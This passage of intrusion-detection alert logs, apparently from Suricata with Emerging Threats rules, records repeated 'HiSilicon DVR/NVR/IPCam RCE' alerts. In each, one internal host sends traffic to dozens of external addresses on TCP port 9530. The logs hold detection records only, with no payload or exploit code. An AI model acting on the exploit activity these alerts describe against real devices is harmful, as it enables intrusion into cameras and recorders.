Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.93.235.204

Timestamp:	05/16/24-16:39:05.676827
SID:	2030487
Source Port:	59706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.78.38.243

Timestamp:	05/16/24-16:39:05.717911
SID:	2030488
Source Port:	33032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.78.38.243

Timestamp:	05/16/24-16:39:05.717911
SID:	2030487
Source Port:	33032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.15.215.118

Timestamp:	05/16/24-16:39:12.380119
SID:	2030487
Source Port:	35316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.44.185.206

Timestamp:	05/16/24-16:39:02.726986
SID:	2030487
Source Port:	55684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.140.161.132

Timestamp:	05/16/24-16:38:53.011251
SID:	2030487
Source Port:	53626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.44.185.206

Timestamp:	05/16/24-16:39:02.726986
SID:	2030488
Source Port:	55684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.140.161.132

Timestamp:	05/16/24-16:38:53.011251
SID:	2030488
Source Port:	53626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.15.215.118

Timestamp:	05/16/24-16:39:12.380119
SID:	2030488
Source Port:	35316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.48.64.79

Timestamp:	05/16/24-16:39:16.582504
SID:	2030487
Source Port:	46918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.203.230.49

Timestamp:	05/16/24-16:39:03.256828
SID:	2030488
Source Port:	48830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.203.230.49

Timestamp:	05/16/24-16:39:03.256828
SID:	2030487
Source Port:	48830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.48.64.79

Timestamp:	05/16/24-16:39:16.582504
SID:	2030488
Source Port:	46918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.135.41.171

Timestamp:	05/16/24-16:39:08.136418
SID:	2030487
Source Port:	36372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.135.41.171

Timestamp:	05/16/24-16:39:08.136418
SID:	2030488
Source Port:	36372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.215.105.122

Timestamp:	05/16/24-16:38:57.448952
SID:	2030487
Source Port:	53966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.215.105.122

Timestamp:	05/16/24-16:38:57.448952
SID:	2030488
Source Port:	53966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.208.245.219

Timestamp:	05/16/24-16:39:08.149432
SID:	2030487
Source Port:	58312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.176.6.80

Timestamp:	05/16/24-16:39:16.604800
SID:	2030487
Source Port:	41490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.208.84.126

Timestamp:	05/16/24-16:39:14.513677
SID:	2030487
Source Port:	48034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.208.238.55

Timestamp:	05/16/24-16:39:16.599331
SID:	2030487
Source Port:	37272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.208.238.55

Timestamp:	05/16/24-16:39:16.599331
SID:	2030488
Source Port:	37272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.176.6.80

Timestamp:	05/16/24-16:39:16.604800
SID:	2030488
Source Port:	41490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.208.245.219

Timestamp:	05/16/24-16:39:08.149432
SID:	2030488
Source Port:	58312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.208.84.126

Timestamp:	05/16/24-16:39:14.513677
SID:	2030488
Source Port:	48034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.120.130.71

Timestamp:	05/16/24-16:39:05.677803
SID:	2030487
Source Port:	34436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.120.130.71

Timestamp:	05/16/24-16:39:05.677803
SID:	2030488
Source Port:	34436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.12.64.200

Timestamp:	05/16/24-16:39:03.262228
SID:	2030488
Source Port:	42084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.31.91.250

Timestamp:	05/16/24-16:39:14.491212
SID:	2030488
Source Port:	52844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.197.212.10

Timestamp:	05/16/24-16:39:16.579924
SID:	2030487
Source Port:	45404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.12.64.200

Timestamp:	05/16/24-16:39:03.262228
SID:	2030487
Source Port:	42084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.31.91.250

Timestamp:	05/16/24-16:39:14.491212
SID:	2030487
Source Port:	52844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.197.212.10

Timestamp:	05/16/24-16:39:16.579924
SID:	2030488
Source Port:	45404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.199.240.97

Timestamp:	05/16/24-16:39:05.677884
SID:	2030487
Source Port:	45676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.117.127.166

Timestamp:	05/16/24-16:39:12.401794
SID:	2030487
Source Port:	58132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.199.240.97

Timestamp:	05/16/24-16:39:05.677884
SID:	2030488
Source Port:	45676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.135.125.24

Timestamp:	05/16/24-16:38:55.175060
SID:	2030488
Source Port:	47676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.135.125.24

Timestamp:	05/16/24-16:38:55.175060
SID:	2030487
Source Port:	47676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.156.10.208

Timestamp:	05/16/24-16:39:16.599069
SID:	2030488
Source Port:	38044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.156.10.208

Timestamp:	05/16/24-16:39:16.599069
SID:	2030487
Source Port:	38044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.96.141.53

Timestamp:	05/16/24-16:39:05.717268
SID:	2030487
Source Port:	45392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.158.183.15

Timestamp:	05/16/24-16:39:12.403737
SID:	2030487
Source Port:	58446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.96.141.53

Timestamp:	05/16/24-16:39:05.717268
SID:	2030488
Source Port:	45392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.158.183.15

Timestamp:	05/16/24-16:39:12.403737
SID:	2030488
Source Port:	58446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.111.146.74

Timestamp:	05/16/24-16:39:08.127172
SID:	2030488
Source Port:	34546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.111.146.74

Timestamp:	05/16/24-16:39:08.127172
SID:	2030487
Source Port:	34546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.22.87.200

Timestamp:	05/16/24-16:39:08.045002
SID:	2030487
Source Port:	34738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.22.87.200

Timestamp:	05/16/24-16:39:08.045002
SID:	2030488
Source Port:	34738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.47.1.167

Timestamp:	05/16/24-16:39:05.716958
SID:	2030487
Source Port:	34040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.47.1.167

Timestamp:	05/16/24-16:39:05.716958
SID:	2030488
Source Port:	34040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.32.140.208

Timestamp:	05/16/24-16:38:59.588237
SID:	2030488
Source Port:	33750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.32.140.208

Timestamp:	05/16/24-16:38:59.588237
SID:	2030487
Source Port:	33750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.118.209.31

Timestamp:	05/16/24-16:39:05.677921
SID:	2030487
Source Port:	58780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.118.209.31

Timestamp:	05/16/24-16:39:05.677921
SID:	2030488
Source Port:	58780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.145.171.116

Timestamp:	05/16/24-16:39:08.127190
SID:	2030488
Source Port:	41684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.145.171.116

Timestamp:	05/16/24-16:39:08.127190
SID:	2030487
Source Port:	41684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.249.80.205

Timestamp:	05/16/24-16:38:53.013566
SID:	2030488
Source Port:	59624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.22.205.138

Timestamp:	05/16/24-16:39:03.262279
SID:	2030487
Source Port:	52354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.249.80.205

Timestamp:	05/16/24-16:38:53.013566
SID:	2030487
Source Port:	59624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.232.109.179

Timestamp:	05/16/24-16:38:57.305739
SID:	2030488
Source Port:	34550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.22.205.138

Timestamp:	05/16/24-16:39:03.262279
SID:	2030488
Source Port:	52354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.232.109.179

Timestamp:	05/16/24-16:38:57.305739
SID:	2030487
Source Port:	34550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.246.237.66

Timestamp:	05/16/24-16:39:08.145373
SID:	2030488
Source Port:	42036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.246.237.66

Timestamp:	05/16/24-16:39:08.145373
SID:	2030487
Source Port:	42036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.146.27.227

Timestamp:	05/16/24-16:39:12.304198
SID:	2030487
Source Port:	34200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.117.127.166

Timestamp:	05/16/24-16:39:12.401794
SID:	2030488
Source Port:	58132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.146.27.227

Timestamp:	05/16/24-16:39:12.304198
SID:	2030488
Source Port:	34200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.146.197.114

Timestamp:	05/16/24-16:38:57.306859
SID:	2030488
Source Port:	50236
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.146.197.114

Timestamp:	05/16/24-16:38:57.306859
SID:	2030487
Source Port:	50236
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.144.2.176

Timestamp:	05/16/24-16:38:59.607524
SID:	2030488
Source Port:	57132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.4.170.186

Timestamp:	05/16/24-16:39:08.146648
SID:	2030488
Source Port:	47242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.4.170.186

Timestamp:	05/16/24-16:39:08.146648
SID:	2030487
Source Port:	47242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.144.2.176

Timestamp:	05/16/24-16:38:59.607524
SID:	2030487
Source Port:	57132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.215.131.109

Timestamp:	05/16/24-16:39:14.507220
SID:	2030488
Source Port:	42138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.215.131.109

Timestamp:	05/16/24-16:39:14.507220
SID:	2030487
Source Port:	42138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.194.49.34

Timestamp:	05/16/24-16:39:12.400568
SID:	2030487
Source Port:	37306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.194.49.34

Timestamp:	05/16/24-16:39:12.400568
SID:	2030488
Source Port:	37306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.118.40.170

Timestamp:	05/16/24-16:39:05.675678
SID:	2030488
Source Port:	59294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.118.40.170

Timestamp:	05/16/24-16:39:05.675678
SID:	2030487
Source Port:	59294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.212.37.36

Timestamp:	05/16/24-16:38:55.231975
SID:	2030487
Source Port:	52956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.79.64.68

Timestamp:	05/16/24-16:39:16.600084
SID:	2030488
Source Port:	33698
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.212.37.36

Timestamp:	05/16/24-16:38:55.231975
SID:	2030488
Source Port:	52956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.77.43.16

Timestamp:	05/16/24-16:39:08.127214
SID:	2030488
Source Port:	40162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.79.64.68

Timestamp:	05/16/24-16:39:16.600084
SID:	2030487
Source Port:	33698
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.77.43.16

Timestamp:	05/16/24-16:39:08.127214
SID:	2030487
Source Port:	40162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.152.141.9

Timestamp:	05/16/24-16:38:55.187222
SID:	2030487
Source Port:	56080
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.217.108.185

Timestamp:	05/16/24-16:39:08.127127
SID:	2030487
Source Port:	34456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.217.108.185

Timestamp:	05/16/24-16:39:08.127127
SID:	2030488
Source Port:	34456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.2.253.205

Timestamp:	05/16/24-16:39:02.748336
SID:	2030487
Source Port:	32998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.2.253.205

Timestamp:	05/16/24-16:39:02.748336
SID:	2030488
Source Port:	32998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.152.141.9

Timestamp:	05/16/24-16:38:55.187222
SID:	2030488
Source Port:	56080
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.23.246.94

Timestamp:	05/16/24-16:38:57.429288
SID:	2030488
Source Port:	53916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.23.246.94

Timestamp:	05/16/24-16:38:57.429288
SID:	2030487
Source Port:	53916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.16.231.82

Timestamp:	05/16/24-16:38:57.408666
SID:	2030488
Source Port:	54550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.16.231.82

Timestamp:	05/16/24-16:38:57.408666
SID:	2030487
Source Port:	54550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.178.217.220

Timestamp:	05/16/24-16:39:02.747533
SID:	2030488
Source Port:	57738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.178.217.220

Timestamp:	05/16/24-16:39:02.747533
SID:	2030487
Source Port:	57738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.129.39.188

Timestamp:	05/16/24-16:39:08.127156
SID:	2030487
Source Port:	37482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.129.39.188

